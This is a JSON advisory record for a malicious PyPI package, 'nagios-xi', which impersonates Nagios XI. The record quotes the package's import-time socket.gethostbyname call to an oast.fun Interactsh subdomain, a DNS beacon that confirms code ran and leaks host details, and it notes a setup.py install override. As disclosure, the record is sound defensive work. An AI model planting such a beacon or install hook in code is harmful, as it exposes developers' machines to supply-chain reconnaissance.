{"id":"MAL-2026-5698","title":"Malicious code in nagios-xi (PyPI)","summary":"Malicious code in nagios-xi (PyPI)","severity":"none","vendor":"nagios-xi","product":"nagios-xi","ecosystem":"pip","affected":["nagios-xi"],"published":"2026-06-12","updated":"2026-07-09","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/MAL-2026-5698","references":[{"url":"https://bad-packages.kam193.eu/pypi/package/nagios-xi"},{"url":"https://pypi.org/project/nagios-xi/19.5.0/"},{"url":"https://pypi.org/project/nagios-xi/19.4.0/"}],"tags":["osv","pip"],"ingestedAt":"2026-07-10T13:49:11.272Z","slug":"MAL-2026-5698","body":"## Overview\n\n\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (c11c80cc2d314460d61a649c84fd75881388470382be8183b77b362e562a5c7f)\nOn `import nagios_xi`, the package's `__init__.py` (lines 5-8) invokes `socket.gethostbyname(\"atlass-check.autaeqjhfowvnnmkwhxjtq8x39d8nder1.oast.fun\")` inside a silent try/except. oast.fun is ProjectDiscovery's Interactsh out-of-band callback service; the DNS query itself is the exfiltration channel, confirming code execution on the installer's host and leaking the resolver IP to whoever controls the unique 32-character Interactsh subdomain. The package ships no actual functionality — it impersonates the Nagios XI commercial monitoring product (name `nagios-xi`, version `19.5.0` mimicking real Nagios XI versioning) while declaring an anonymous ProtonMail author (`Coding Team <pocbug@protonmail.com>`), a generic `package utility` description, and an empty README. The combination of brand impersonation, placeholder metadata, and an import-time OAST beacon as the package's sole behavior is reconnaissance for a supply-chain attack against developers searching for Nagios XI integrations.\n\n## Source: kam193 (d8b27c2588accf4f2966f4630a12f9bfdc4ba621403f14237160632447152f23)\nInstalling the package or importing the module exfiltrates basic information about the host, and the package has no other purpose.\n\n\n---\n\nCategory: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research & co, with clearly low-harm possibilities.\n\n\nCampaign: GENERIC-standard-pypi-install-pentest\n\n\nReasons (based on the campaign):\n\n\n - The package contains code to exfiltrate basic data from the system, like IP or username. It has a limited risk.\n\n\n - The package overrides the install command in setup.py to execute malicious code during installation.\n\n\n## Affected packages\n\n- `nagios-xi`\n\n## Remediation\n\nRefer to the advisory for the patched release.","depth":"sunlit","depthScore":3,"depthScoreParts":{"impact":2.8,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}